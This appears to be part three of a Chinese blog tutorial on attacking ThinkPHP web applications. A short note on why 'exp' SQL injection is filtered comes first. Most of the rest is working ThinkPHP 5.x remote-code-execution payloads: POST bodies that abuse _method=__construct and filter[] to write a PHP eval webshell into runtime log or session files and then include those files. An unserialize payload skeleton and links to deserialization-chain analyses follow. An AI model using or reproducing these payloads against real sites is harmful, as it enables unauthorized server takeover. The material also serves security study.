关于ThinkPHP的一些渗透方式( 三 )

然而parseKey并没有对传入的字符进行任何过滤,所以当输入exp,inc,dec,都返回的字符串,为什么参数值为exp的时候不能产生注入,原因是在用input方法传入的时候,要经过filterExp进行过滤 。
public function filterExp(&$value)    {        // 过滤查询特殊字符        if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {            $value .= ' ';        }        // TODO 其他安全过滤    }当匹配到exp的时候,就会在exp后面添加一个空格,导致不能同parseKey方法中的exp相等 。同样,利用insert方法向数据库插入数据也是同种原理 。由于篇幅问题,网上的分析文章也多,之后的注入不想再造轮子了,可以详细看这个师傅的文章:https://github.com/Mochazz/ThinkPHP-Vuln
TP5 rce漏洞
TP5的rce漏洞影响版本:ThinkPHP 5.0.x ~ 5.0.23、ThinkPHP 5.1.x ~ 5.1.31、ThinkPHP 5.2.0beta1
TP5rce的分析网上也比较多了,这里主要说下在TP渗透,php7版本的关于log文件和session文件包含的问题 。
runtime文件包含拿shell
先写入一句话到runtime日志中,POST发送 。
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['cmd'])?>runtime的日志文件为./runtime/log/202008/17.log
_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../runtime/log/202008/17.log&cmd=phpinfo();

关于ThinkPHP的一些渗透方式

文章插图
 
session文件包含拿shell
写入session文件
_method=__construct&filter[]=thinkSession::set&method=get&get[]=<?php eval($_POST['cmd'])?>&server[]=1一般linux下的session文件存储在/var/lib/php/session,session的命名为sess_[PHPSESSID] 。
_method=__construct&method=get&filter[]=think__include_file&get[]=/var/lib/php/session/sess_sf9vlodcl4j4r1bhli2ddnvr32&server[]=1&cmd=phpinfo();
关于ThinkPHP的一些渗透方式

文章插图
 
其实也可以用反序列化的点来,只是有点麻烦,需要去调代码 。
_method=__construct&filter=unserialize&method=get&server[REQUEST_METHOD]=序列化反序列化
反序列化点通常都是在代码审计当中被发现的,当unserialize可控时可以触发,但是只光靠unserialize可控很难找到可控点,这时安全研究员Sam Thomas分享了一个关于phar反序列的漏洞,大大增加了反序列化的利用点 。由于TP5-6的反序列化分析篇幅比较大,可以直接看下面文章进行深度学习:
Thinkphp5.0.24反序列:https://jfanx1ng.github.io/2020/05/07/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Thinkphp5.1.x反序列:https://jfanx1ng.github.io/2020/05/09/ThinkPHP5.1.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/
Thinkphp6.x反序列:https://jfanx1ng.github.io/2020/05/13/ThinkPHP6.0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
phar反序列化挖掘案列:https://bbs.ichunqiu.com/thread-57947-1-1.html
今天的文章分享,小伙伴们看懂了吗?

【关于ThinkPHP的一些渗透方式】


推荐阅读